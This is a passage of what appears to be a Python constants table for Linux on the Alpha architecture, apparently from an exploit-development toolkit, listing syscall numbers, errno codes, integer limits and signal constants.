__NR_sigaction = Constant('__NR_sigaction',156) __NR_osf_sigwaitprim = Constant('__NR_osf_sigwaitprim',157) __NR_osf_nfssvc = Constant('__NR_osf_nfssvc',158) __NR_osf_getdirentries = Constant('__NR_osf_getdirentries',159) __NR_osf_statfs = Constant('__NR_osf_statfs',160) __NR_osf_fstatfs = Constant('__NR_osf_fstatfs',161) __NR_osf_asynch_daemon = Constant('__NR_osf_asynch_daemon',163) __NR_osf_getfh = Constant('__NR_osf_getfh',164) __NR_osf_getdomainname = Constant('__NR_osf_getdomainname',165) __NR_setdomainname = Constant('__NR_setdomainname',166) __NR_osf_exportfs = Constant('__NR_osf_exportfs',169) __NR_osf_alt_plock = Constant('__NR_osf_alt_plock',181) __NR_osf_getmnt = Constant('__NR_osf_getmnt',184) __NR_osf_alt_sigpending = Constant('__NR_osf_alt_sigpending',187) __NR_osf_alt_setsid = Constant('__NR_osf_alt_setsid',188) __NR_osf_swapon = Constant('__NR_osf_swapon',199) __NR_msgctl = Constant('__NR_msgctl',200) __NR_msgget = Constant('__NR_msgget',201) __NR_msgrcv = Constant('__NR_msgrcv',202) __NR_msgsnd = Constant('__NR_msgsnd',203) __NR_semctl = Constant('__NR_semctl',204) __NR_semget = Constant('__NR_semget',205) __NR_semop = Constant('__NR_semop',206) __NR_osf_utsname = Constant('__NR_osf_utsname',207) __NR_lchown = Constant('__NR_lchown',208) __NR_osf_shmat = Constant('__NR_osf_shmat',209) __NR_shmctl = Constant('__NR_shmctl',210) __NR_shmdt = Constant('__NR_shmdt',211) __NR_shmget = Constant('__NR_shmget',212) __NR_osf_mvalid = Constant('__NR_osf_mvalid',213) __NR_osf_getaddressconf = Constant('__NR_osf_getaddressconf',214) __NR_osf_msleep = Constant('__NR_osf_msleep',215) __NR_osf_mwakeup = Constant('__NR_osf_mwakeup',216) __NR_msync = Constant('__NR_msync',217) __NR_osf_signal = Constant('__NR_osf_signal',218) __NR_osf_utc_gettime = Constant('__NR_osf_utc_gettime',219) __NR_osf_utc_adjtime = Constant('__NR_osf_utc_adjtime',220) __NR_osf_security = Constant('__NR_osf_security',222) __NR_osf_kloadcall = Constant('__NR_osf_kloadcall',223) __NR_getpgid = Constant('__NR_getpgid',233) __NR_getsid = Constant('__NR_getsid',234) __NR_sigaltstack = Constant('__NR_sigaltstack',235) __NR_osf_waitid = Constant('__NR_osf_waitid',236) __NR_osf_priocntlset = Constant('__NR_osf_priocntlset',237) __NR_osf_sigsendset = Constant('__NR_osf_sigsendset',238) __NR_osf_set_speculative = Constant('__NR_osf_set_speculative',239) __NR_osf_msfs_syscall = Constant('__NR_osf_msfs_syscall',240) __NR_osf_sysinfo = Constant('__NR_osf_sysinfo',241) __NR_osf_uadmin = Constant('__NR_osf_uadmin',242) __NR_osf_fuser = Constant('__NR_osf_fuser',243) __NR_osf_proplist_syscall = Constant('__NR_osf_proplist_syscall',244) __NR_osf_ntp_adjtime = Constant('__NR_osf_ntp_adjtime',245) __NR_osf_ntp_gettime = Constant('__NR_osf_ntp_gettime',246) __NR_osf_pathconf = Constant('__NR_osf_pathconf',247) __NR_osf_fpathconf = Constant('__NR_osf_fpathconf',248) __NR_osf_uswitch = Constant('__NR_osf_uswitch',250) __NR_osf_usleep_thread = Constant('__NR_osf_usleep_thread',251) __NR_osf_audcntl = Constant('__NR_osf_audcntl',252) __NR_osf_audgen = Constant('__NR_osf_audgen',253) __NR_sysfs = Constant('__NR_sysfs',254) __NR_osf_subsys_info = Constant('__NR_osf_subsys_info',255) __NR_osf_getsysinfo = Constant('__NR_osf_getsysinfo',256) __NR_osf_setsysinfo = Constant('__NR_osf_setsysinfo',257) __NR_osf_afs_syscall = Constant('__NR_osf_afs_syscall',258) __NR_osf_swapctl = Constant('__NR_osf_swapctl',259) __NR_osf_memcntl = Constant('__NR_osf_memcntl',260) __NR_osf_fdatasync = Constant('__NR_osf_fdatasync',261) __NR_umount_with_flags = Constant('__NR_umount_with_flags',22) __NR_bdflush = Constant('__NR_bdflush',300) __NR_sethae = Constant('__NR_sethae',301) __NR_mount = Constant('__NR_mount',302) __NR_old_adjtimex = Constant('__NR_old_adjtimex',303) __NR_swapoff = Constant('__NR_swapoff',304) __NR_getdents = Constant('__NR_getdents',305) __NR_create_module = Constant('__NR_create_module',306) __NR_init_module = Constant('__NR_init_module',307) __NR_delete_module = Constant('__NR_delete_module',308) __NR_get_kernel_syms = Constant('__NR_get_kernel_syms',309) __NR_syslog = Constant('__NR_syslog',310) __NR_reboot = Constant('__NR_reboot',311) __NR_clone = Constant('__NR_clone',312) __NR_uselib = Constant('__NR_uselib',313) __NR_mlock = Constant('__NR_mlock',314) __NR_munlock = Constant('__NR_munlock',315) __NR_mlockall = Constant('__NR_mlockall',316) __NR_munlockall = Constant('__NR_munlockall',317) __NR_sysinfo = Constant('__NR_sysinfo',318) __NR__sysctl = Constant('__NR__sysctl',319) __NR_oldumount = Constant('__NR_oldumount',321) __NR_swapon = Constant('__NR_swapon',322) __NR_times = Constant('__NR_times',323) __NR_personality = Constant('__NR_personality',324) __NR_setfsuid = Constant('__NR_setfsuid',325) __NR_setfsgid = Constant('__NR_setfsgid',326) __NR_ustat = Constant('__NR_ustat',327) __NR_statfs = Constant('__NR_statfs',328) __NR_fstatfs = Constant('__NR_fstatfs',329) __NR_sched_setparam = Constant('__NR_sched_setparam',330) __NR_sched_getparam = Constant('__NR_sched_getparam',331) __NR_sched_setscheduler = Constant('__NR_sched_setscheduler',332) __NR_sched_getscheduler = Constant('__NR_sched_getscheduler',333) __NR_sched_yield = Constant('__NR_sched_yield',334) __NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',335) __NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',336) __NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',337) __NR_afs_syscall = Constant('__NR_afs_syscall',338) __NR_uname = Constant('__NR_uname',339) __NR_nanosleep = Constant('__NR_nanosleep',340) __NR_mremap = Constant('__NR_mremap',341) __NR_nfsservctl = Constant('__NR_nfsservctl',342) __NR_setresuid = Constant('__NR_setresuid',343) __NR_getresuid = Constant('__NR_getresuid',344) __NR_pciconfig_read = Constant('__NR_pciconfig_read',345) __NR_pciconfig_write = Constant('__NR_pciconfig_write',346) __NR_query_module = Constant('__NR_query_module',347) __NR_prctl = Constant('__NR_prctl',348) __NR_pread = Constant('__NR_pread',349) __NR_pwrite = Constant('__NR_pwrite',350) __NR_rt_sigreturn = Constant('__NR_rt_sigreturn',351) __NR_rt_sigaction = Constant('__NR_rt_sigaction',352) __NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',353) __NR_rt_sigpending = Constant('__NR_rt_sigpending',354) __NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',355) __NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',356) __NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',357) __NR_select = Constant('__NR_select',358) __NR_gettimeofday = Constant('__NR_gettimeofday',359) __NR_settimeofday = Constant('__NR_settimeofday',360) __NR_getitimer = Constant('__NR_getitimer',361) __NR_setitimer = Constant('__NR_setitimer',362) __NR_utimes = Constant('__NR_utimes',363) __NR_getrusage = Constant('__NR_getrusage',364) __NR_wait4 = Constant('__NR_wait4',365) __NR_adjtimex = Constant('__NR_adjtimex',366) __NR_getcwd = Constant('__NR_getcwd',367) __NR_capget = Constant('__NR_capget',368) __NR_capset = Constant('__NR_capset',369) __NR_sendfile = Constant('__NR_sendfile',370) __NR_setresgid = Constant('__NR_setresgid',371) __NR_getresgid = Constant('__NR_getresgid',372) __NR_dipc = Constant('__NR_dipc',373) __NR_pivot_root = Constant('__NR_pivot_root',374) __NR_mincore = Constant('__NR_mincore',375) __NR_pciconfig_iobase = Constant('__NR_pciconfig_iobase',376) __NR_getdents64 = Constant('__NR_getdents64',377) __NR_gettid = Constant('__NR_gettid',378) __NR_readahead = Constant('__NR_readahead',379) __NR_tkill = Constant('__NR_tkill',381) __NR_setxattr = Constant('__NR_setxattr',382) __NR_lsetxattr = Constant('__NR_lsetxattr',383) __NR_fsetxattr = Constant('__NR_fsetxattr',384) __NR_getxattr = Constant('__NR_getxattr',385) __NR_lgetxattr = Constant('__NR_lgetxattr',386) __NR_fgetxattr = Constant('__NR_fgetxattr',387) __NR_listxattr = Constant('__NR_listxattr',388) __NR_llistxattr = Constant('__NR_llistxattr',389) __NR_flistxattr = Constant('__NR_flistxattr',390) __NR_removexattr = Constant('__NR_removexattr',391) __NR_lremovexattr = Constant('__NR_lremovexattr',392) __NR_fremovexattr = Constant('__NR_fremovexattr',393) __NR_futex = Constant('__NR_futex',394) __NR_sched_setaffinity = Constant('__NR_sched_setaffinity',395) __NR_sched_getaffinity = Constant('__NR_sched_getaffinity',396) __NR_tuxcall = Constant('__NR_tuxcall',397) __NR_io_setup = Constant('__NR_io_setup',398) __NR_io_destroy = Constant('__NR_io_destroy',399) __NR_io_getevents = Constant('__NR_io_getevents',400) __NR_io_submit = Constant('__NR_io_submit',401) __NR_io_cancel = Constant('__NR_io_cancel',402) __NR_exit_group = Constant('__NR_exit_group',405) __NR_lookup_dcookie = Constant('__NR_lookup_dcookie',406) __NR_sys_epoll_create = Constant('__NR_sys_epoll_create',407) __NR_sys_epoll_ctl = Constant('__NR_sys_epoll_ctl',408) __NR_sys_epoll_wait = Constant('__NR_sys_epoll_wait',409) __NR_remap_file_pages = Constant('__NR_remap_file_pages',410) __NR_set_tid_address = Constant('__NR_set_tid_address',411) __NR_restart_syscall = Constant('__NR_restart_syscall',412) __NR_fadvise64 = Constant('__NR_fadvise64',413) __NR_timer_create = Constant('__NR_timer_create',414) __NR_timer_settime = Constant('__NR_timer_settime',415) __NR_timer_gettime = Constant('__NR_timer_gettime',416) __NR_timer_getoverrun = Constant('__NR_timer_getoverrun',417) __NR_timer_delete = Constant('__NR_timer_delete',418) __NR_clock_settime = Constant('__NR_clock_settime',419) __NR_clock_gettime = Constant('__NR_clock_gettime',420) __NR_clock_getres = Constant('__NR_clock_getres',421) __NR_clock_nanosleep = Constant('__NR_clock_nanosleep',422) __NR_semtimedop = Constant('__NR_semtimedop',423) __NR_tgkill = Constant('__NR_tgkill',424) __NR_stat64 = Constant('__NR_stat64',425) __NR_lstat64 = Constant('__NR_lstat64',426) __NR_fstat64 = Constant('__NR_fstat64',427) __NR_vserver = Constant('__NR_vserver',428) __NR_mbind = Constant('__NR_mbind',429) __NR_get_mempolicy = Constant('__NR_get_mempolicy',430) __NR_set_mempolicy = Constant('__NR_set_mempolicy',431) __NR_mq_open = Constant('__NR_mq_open',432) __NR_mq_unlink = Constant('__NR_mq_unlink',433) __NR_mq_timedsend = Constant('__NR_mq_timedsend',434) __NR_mq_timedreceive = Constant('__NR_mq_timedreceive',435) __NR_mq_notify = Constant('__NR_mq_notify',436) __NR_mq_getsetattr = Constant('__NR_mq_getsetattr',437) __NR_waitid = Constant('__NR_waitid',438) __NR_add_key = Constant('__NR_add_key',439) __NR_request_key = Constant('__NR_request_key',440) __NR_keyctl = Constant('__NR_keyctl',441) __NR_ioprio_set = Constant('__NR_ioprio_set',442) __NR_ioprio_get = Constant('__NR_ioprio_get',443) __NR_inotify_init = Constant('__NR_inotify_init',444) __NR_inotify_add_watch = Constant('__NR_inotify_add_watch',445) __NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',446) __NR_fdatasync = Constant('__NR_fdatasync',447) __NR_kexec_load = Constant('__NR_kexec_load',448) __NR_migrate_pages = Constant('__NR_migrate_pages',449) __NR_openat = Constant('__NR_openat',450) __NR_mkdirat = Constant('__NR_mkdirat',451) __NR_mknodat = Constant('__NR_mknodat',452) __NR_fchownat = Constant('__NR_fchownat',453) __NR_futimesat = Constant('__NR_futimesat',454) __NR_fstatat64 = Constant('__NR_fstatat64',455) __NR_unlinkat = Constant('__NR_unlinkat',456) __NR_renameat = Constant('__NR_renameat',457) __NR_linkat = Constant('__NR_linkat',458) __NR_symlinkat = Constant('__NR_symlinkat',459) __NR_readlinkat = Constant('__NR_readlinkat',460) __NR_fchmodat = Constant('__NR_fchmodat',461) __NR_faccessat = Constant('__NR_faccessat',462) __NR_pselect6 = Constant('__NR_pselect6',463) __NR_ppoll = Constant('__NR_ppoll',464) __NR_unshare = Constant('__NR_unshare',465) __NR_set_robust_list = Constant('__NR_set_robust_list',466) __NR_get_robust_list = Constant('__NR_get_robust_list',467) __NR_splice = Constant('__NR_splice',468) __NR_sync_file_range = Constant('__NR_sync_file_range',469) __NR_tee = Constant('__NR_tee',470) __NR_vmsplice = Constant('__NR_vmsplice',471) __NR_move_pages = Constant('__NR_move_pages',472) __NR_getcpu = Constant('__NR_getcpu',473) __NR_epoll_pwait = Constant('__NR_epoll_pwait',474) __NR_utimensat = Constant('__NR_utimensat',475) __NR_signalfd = Constant('__NR_signalfd',476) __NR_timerfd = Constant('__NR_timerfd',477) __NR_eventfd = Constant('__NR_eventfd',478) __NR_recvmmsg = Constant('__NR_recvmmsg',479) __NR_fallocate = Constant('__NR_fallocate',480) __NR_timerfd_create = Constant('__NR_timerfd_create',481) __NR_timerfd_settime = Constant('__NR_timerfd_settime',482) __NR_timerfd_gettime = Constant('__NR_timerfd_gettime',483) __NR_signalfd4 = Constant('__NR_signalfd4',484) __NR_eventfd2 = Constant('__NR_eventfd2',485) __NR_epoll_create1 = Constant('__NR_epoll_create1',486) __NR_dup3 = Constant('__NR_dup3',487) __NR_pipe2 = Constant('__NR_pipe2',488) __NR_inotify_init1 = Constant('__NR_inotify_init1',489) __NR_preadv = Constant('__NR_preadv',490) __NR_pwritev = Constant('__NR_pwritev',491) __NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',492) __NR_perf_event_open = Constant('__NR_perf_event_open',493) __NR_fanotify_init = Constant('__NR_fanotify_init',494) __NR_fanotify_mark = Constant('__NR_fanotify_mark',495) __NR_prlimit64 = Constant('__NR_prlimit64',496) __NR_name_to_handle_at = Constant('__NR_name_to_handle_at',497) __NR_open_by_handle_at = Constant('__NR_open_by_handle_at',498) __NR_clock_adjtime = Constant('__NR_clock_adjtime',499) __NR_syncfs = Constant('__NR_syncfs',500) __NR_setns = Constant('__NR_setns',501) __NR_accept4 = Constant('__NR_accept4',502) __NR_sendmmsg = Constant('__NR_sendmmsg',503) __NR_process_vm_readv = Constant('__NR_process_vm_readv',504) __NR_process_vm_writev = Constant('__NR_process_vm_writev',505) __NR_kcmp = Constant('__NR_kcmp',506) __NR_finit_module = Constant('__NR_finit_module',507) __NR_sched_setattr = Constant('__NR_sched_setattr',508) __NR_sched_getattr = Constant('__NR_sched_getattr',509) __NR_renameat2 = Constant('__NR_renameat2',510) __NR_getrandom = Constant('__NR_getrandom',511) __NR_memfd_create = Constant('__NR_memfd_create',512) __NR_execveat = Constant('__NR_execveat',513) __NR_seccomp = Constant('__NR_seccomp',514) __NR_bpf = Constant('__NR_bpf',515) __NR_userfaultfd = Constant('__NR_userfaultfd',516) __NR_membarrier = Constant('__NR_membarrier',517) __NR_mlock2 = Constant('__NR_mlock2',518) __NR_copy_file_range = Constant('__NR_copy_file_range',519) __NR_preadv2 = Constant('__NR_preadv2',520) __NR_pwritev2 = Constant('__NR_pwritev2',521) __NR_statx = Constant('__NR_statx',522) __NR_io_pgetevents = Constant('__NR_io_pgetevents',523) __NR_pkey_mprotect = Constant('__NR_pkey_mprotect',524) __NR_pkey_alloc = Constant('__NR_pkey_alloc',525) __NR_pkey_free = Constant('__NR_pkey_free',526) __NR_rseq = Constant('__NR_rseq',527) __NR_statfs64 = Constant('__NR_statfs64',528) __NR_fstatfs64 = Constant('__NR_fstatfs64',529) __NR_getegid = Constant('__NR_getegid',530) __NR_geteuid = Constant('__NR_geteuid',531) __NR_getppid = Constant('__NR_getppid',532) __NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',534) __NR_io_uring_setup = Constant('__NR_io_uring_setup',535) __NR_io_uring_enter = Constant('__NR_io_uring_enter',536) __NR_io_uring_register = Constant('__NR_io_uring_register',537) __NR_open_tree = Constant('__NR_open_tree',538) __NR_move_mount = Constant('__NR_move_mount',539) __NR_fsopen = Constant('__NR_fsopen',540) __NR_fsconfig = Constant('__NR_fsconfig',541) __NR_fsmount = Constant('__NR_fsmount',542) __NR_fspick = Constant('__NR_fspick',543) __NR_pidfd_open = Constant('__NR_pidfd_open',544) __NR_openat2 = Constant('__NR_openat2',547) __NR_pidfd_getfd = Constant('__NR_pidfd_getfd',548) MAP_32BIT = Constant('MAP_32BIT',0x40) INADDR_ANY = Constant('INADDR_ANY',0) INADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff) INADDR_NONE = Constant('INADDR_NONE',0xffffffff) INADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001) EPERM = Constant('EPERM',1) ENOENT = Constant('ENOENT',2) ESRCH = Constant('ESRCH',3) EINTR = Constant('EINTR',4) EIO = Constant('EIO',5) ENXIO = Constant('ENXIO',6) E2BIG = Constant('E2BIG',7) ENOEXEC = Constant('ENOEXEC',8) EBADF = Constant('EBADF',9) ECHILD = Constant('ECHILD',10) EDEADLK = Constant('EDEADLK',11) ENOMEM = Constant('ENOMEM',12) EACCES = Constant('EACCES',13) EFAULT = Constant('EFAULT',14) ENOTBLK = Constant('ENOTBLK',15) EBUSY = Constant('EBUSY',16) EEXIST = Constant('EEXIST',17) EXDEV = Constant('EXDEV',18) ENODEV = Constant('ENODEV',19) ENOTDIR = Constant('ENOTDIR',20) EISDIR = Constant('EISDIR',21) EINVAL = Constant('EINVAL',22) ENFILE = Constant('ENFILE',23) EMFILE = Constant('EMFILE',24) ENOTTY = Constant('ENOTTY',25) ETXTBSY = Constant('ETXTBSY',26) EFBIG = Constant('EFBIG',27) ENOSPC = Constant('ENOSPC',28) ESPIPE = Constant('ESPIPE',29) EROFS = Constant('EROFS',30) EMLINK = Constant('EMLINK',31) EPIPE = Constant('EPIPE',32) EDOM = Constant('EDOM',33) ERANGE = Constant('ERANGE',34) EAGAIN = Constant('EAGAIN',35) EWOULDBLOCK = Constant('EWOULDBLOCK',35) EINPROGRESS = Constant('EINPROGRESS',36) EALREADY = Constant('EALREADY',37) ENOTSOCK = Constant('ENOTSOCK',38) EDESTADDRREQ = Constant('EDESTADDRREQ',39) EMSGSIZE = Constant('EMSGSIZE',40) EPROTOTYPE = Constant('EPROTOTYPE',41) ENOPROTOOPT = Constant('ENOPROTOOPT',42) EPROTONOSUPPORT = Constant('EPROTONOSUPPORT',43) ESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',44) EOPNOTSUPP = Constant('EOPNOTSUPP',45) ENOTSUP = Constant('ENOTSUP',45) EPFNOSUPPORT = Constant('EPFNOSUPPORT',46) EAFNOSUPPORT = Constant('EAFNOSUPPORT',47) EADDRINUSE = Constant('EADDRINUSE',48) EADDRNOTAVAIL = Constant('EADDRNOTAVAIL',49) ENETDOWN = Constant('ENETDOWN',50) ENETUNREACH = Constant('ENETUNREACH',51) ENETRESET = Constant('ENETRESET',52) ECONNABORTED = Constant('ECONNABORTED',53) ECONNRESET = Constant('ECONNRESET',54) ENOBUFS = Constant('ENOBUFS',55) EISCONN = Constant('EISCONN',56) ENOTCONN = Constant('ENOTCONN',57) ESHUTDOWN = Constant('ESHUTDOWN',58) ETOOMANYREFS = Constant('ETOOMANYREFS',59) ETIMEDOUT = Constant('ETIMEDOUT',60) ECONNREFUSED = Constant('ECONNREFUSED',61) ELOOP = Constant('ELOOP',62) ENAMETOOLONG = Constant('ENAMETOOLONG',63) EHOSTDOWN = Constant('EHOSTDOWN',64) EHOSTUNREACH = Constant('EHOSTUNREACH',65) ENOTEMPTY = Constant('ENOTEMPTY',66) EUSERS = Constant('EUSERS',68) EDQUOT = Constant('EDQUOT',69) ESTALE = Constant('ESTALE',70) EREMOTE = Constant('EREMOTE',71) ENOLCK = Constant('ENOLCK',77) ENOSYS = Constant('ENOSYS',78) ENOMSG = Constant('ENOMSG',80) EIDRM = Constant('EIDRM',81) ENOSR = Constant('ENOSR',82) ETIME = Constant('ETIME',83) EBADMSG = Constant('EBADMSG',84) EPROTO = Constant('EPROTO',85) ENODATA = Constant('ENODATA',86) ENOSTR = Constant('ENOSTR',87) ENOPKG = Constant('ENOPKG',92) EILSEQ = Constant('EILSEQ',116) ECHRNG = Constant('ECHRNG',88) EL2NSYNC = Constant('EL2NSYNC',89) EL3HLT = Constant('EL3HLT',90) EL3RST = Constant('EL3RST',91) ELNRNG = Constant('ELNRNG',93) EUNATCH = Constant('EUNATCH',94) ENOCSI = Constant('ENOCSI',95) EL2HLT = Constant('EL2HLT',96) EBADE = Constant('EBADE',97) EBADR = Constant('EBADR',98) EXFULL = Constant('EXFULL',99) ENOANO = Constant('ENOANO',100) EBADRQC = Constant('EBADRQC',101) EBADSLT = Constant('EBADSLT',102) EDEADLOCK = Constant('EDEADLOCK',11) EBFONT = Constant('EBFONT',104) ENONET = Constant('ENONET',105) ENOLINK = Constant('ENOLINK',106) EADV = Constant('EADV',107) ESRMNT = Constant('ESRMNT',108) ECOMM = Constant('ECOMM',109) EMULTIHOP = Constant('EMULTIHOP',110) EDOTDOT = Constant('EDOTDOT',111) EOVERFLOW = Constant('EOVERFLOW',112) ENOTUNIQ = Constant('ENOTUNIQ',113) EBADFD = Constant('EBADFD',114) EREMCHG = Constant('EREMCHG',115) EUCLEAN = Constant('EUCLEAN',117) ENOTNAM = Constant('ENOTNAM',118) ENAVAIL = Constant('ENAVAIL',119) EISNAM = Constant('EISNAM',120) EREMOTEIO = Constant('EREMOTEIO',121) ELIBACC = Constant('ELIBACC',122) ELIBBAD = Constant('ELIBBAD',123) ELIBSCN = Constant('ELIBSCN',124) ELIBMAX = Constant('ELIBMAX',125) ELIBEXEC = Constant('ELIBEXEC',126) ERESTART = Constant('ERESTART',127) ESTRPIPE = Constant('ESTRPIPE',128) ENOMEDIUM = Constant('ENOMEDIUM',129) EMEDIUMTYPE = Constant('EMEDIUMTYPE',130) ECANCELED = Constant('ECANCELED',131) ENOKEY = Constant('ENOKEY',132) EKEYEXPIRED = Constant('EKEYEXPIRED',133) EKEYREVOKED = Constant('EKEYREVOKED',134) EKEYREJECTED = Constant('EKEYREJECTED',135) EOWNERDEAD = Constant('EOWNERDEAD',136) ENOTRECOVERABLE = Constant('ENOTRECOVERABLE',137) ERFKILL = Constant('ERFKILL',138) EHWPOISON = Constant('EHWPOISON',139) __SYS_NERR = Constant('__SYS_NERR',((139) + 1)) __LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234) __BIG_ENDIAN = Constant('__BIG_ENDIAN',4321) __BYTE_ORDER = Constant('__BYTE_ORDER',1234) __FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',1234) LITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234) BIG_ENDIAN = Constant('BIG_ENDIAN',4321) BYTE_ORDER = Constant('BYTE_ORDER',1234) __WORDSIZE = Constant('__WORDSIZE',64) INT8_MAX = Constant('INT8_MAX',(127)) INT16_MAX = Constant('INT16_MAX',(32767)) INT32_MAX = Constant('INT32_MAX',(2147483647)) INT64_MAX = Constant('INT64_MAX',(9223372036854775807)) INT8_MIN = Constant('INT8_MIN',(-1 - (127))) INT16_MIN = Constant('INT16_MIN',(-1 - (32767))) INT32_MIN = Constant('INT32_MIN',(-1 - (2147483647))) INT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807))) INT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127)) INT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127))) INT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767)) INT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767))) INT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647)) INT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647))) INT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807)) INT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807))) UINT8_MAX = Constant('UINT8_MAX',0xff) UINT16_MAX = Constant('UINT16_MAX',0xffff) UINT32_MAX = Constant('UINT32_MAX',0xffffffff) UINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff) UINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff) UINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff) UINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff) UINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff) INTPTR_MIN = Constant('INTPTR_MIN',(-1 - (9223372036854775807))) INTPTR_MAX = Constant('INTPTR_MAX',(9223372036854775807)) UINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffffffffffff) SIZE_MAX = Constant('SIZE_MAX',0xffffffffffffffff) PTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (9223372036854775807))) PTRDIFF_MAX = Constant('PTRDIFF_MAX',(9223372036854775807)) INTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807))) INTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807)) UINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff) INT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127))) INT_FAST8_MAX = Constant('INT_FAST8_MAX',(127)) INT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807))) INT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807)) UINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff) UINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff) INT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (9223372036854775807))) INT_FAST16_MAX = Constant('INT_FAST16_MAX',(9223372036854775807)) UINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffffffffffff) INT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (9223372036854775807))) INT_FAST32_MAX = Constant('INT_FAST32_MAX',(9223372036854775807)) UINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffffffffffff) WINT_MIN = Constant('WINT_MIN',0) __FSUID_H = Constant('__FSUID_H',1) NSIG = Constant('NSIG',32) _NSIG = Constant('_NSIG',65) SIGHUP = Constant('SIGHUP',1) SIGINT = Constant('SIGINT',2) SIGQUIT = Constant('SIGQUIT',3) SIGILL = Constant('SIGILL',4) SIGTRAP = Constant('SIGTRAP',5) SIGABRT = Constant('SIGABRT',6) SIGIOT = Constant('SIGIOT',6) SIGFPE = Constant('SIGFPE',8) SIGKILL = Constant('SIGKILL',9) SIGSEGV = Constant('SIGSEGV',11) SIGPIPE = Constant('SIGPIPE',13) SIGALRM = Constant('SIGALRM',14) SIGTERM = Constant('SIGTERM',15) SIGUNUSED = Constant('SIGUNUSED',31) SIGEMT = Constant('SIGEMT',7) SIGBUS = Constant('SIGBUS',10) SIGSYS = Constant('SIGSYS',12) SIGURG = Constant('SIGURG',16) SIGSTOP = Constant('SIGSTOP',17) SIGTSTP = Constant('SIGTSTP',18) SIGCONT = Constant('SIGCONT',19) SIGCHLD = Constant('SIGCHLD',20) SIGTTIN = Constant('SIGTTIN',21) SIGTTOU = Constant('SIGTTOU',22) SIGIO = Constant('SIGIO',23) SIGXCPU = Constant('SIGXCPU',24) SIGXFSZ = Constant('SIGXFSZ',25) SIGVTALRM = Constant('SIGVTALRM',26) SIGPROF = Constant('SIGPROF',27) SIGWINCH = Constant('SIGWINCH',28) SIGPWR = Constant('SIGPWR',29) SIGUSR1 = Constant('SIGUSR1',30) SIGUSR2 = Constant('SIGUSR2',31) SIGINFO = Constant('SIGINFO',29) SIGCLD = Constant('SIGCLD',20) SIGPOLL = Constant('SIGPOLL',23) SIGLOST = Constant('SIGLOST',29) SIGRTMIN = Constant('SIGRTMIN',32) SIGRTMAX = Constant('SIGRTMAX',(65-1)) SA_ONSTACK = Constant('SA_ONSTACK',0x00000001) SA_RESTART = Constant('SA_RESTART',0x00000002) SA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000004) SA_NODEFER = Constant('SA_NODEFER',0x00000008) SA_RESETHAND = Constant('SA_RESETHAND',0x00000010) SA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000020) SA_SIGINFO = Constant('SA_SIGINFO',0x00000040) SA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000) SA_NOMASK = Constant('SA_NOMASK',0x00000008) SA_ONESHOT = Constant('SA_ONESHOT',0x00000010) SS_ONSTACK = Constant('SS_ONSTACK',1) SS_DISABLE = Constant('SS_DISABLE',2) MINSIGSTKSZ = Constant('MINSIGSTKSZ',2048) SIGSTKSZ = Constant('SIGSTKSZ',8192) SIG_BLOCK = Constant('SIG_BLOCK',1) SIG_UNBLOCK = Constant('SIG_UNBLOCK',2) SIG_SETMASK = Constant('SIG_SETMASK',3) SI_MAX_SIZE = Constant('SI_MAX_SIZE',128) SIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0) SIGEV_NONE = Constant('SIGEV_NONE',1) SIGEV_THREAD = Constant('SIGEV_THREAD',2) SIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4) SIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64) _SYS_TIME_H = Constant('_SYS_TIME_H',1) ITIMER_REAL = Constant('ITIMER_REAL',0) ITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1) ITIMER_PROF = Constant('ITIMER_PROF',2) FD_SETSIZE = Constant('FD_SETSIZE',1024) R_OK = Constant('R_OK',4) W_OK = Constant('W_OK',2) X_OK = Constant('X_OK',1) F_OK = 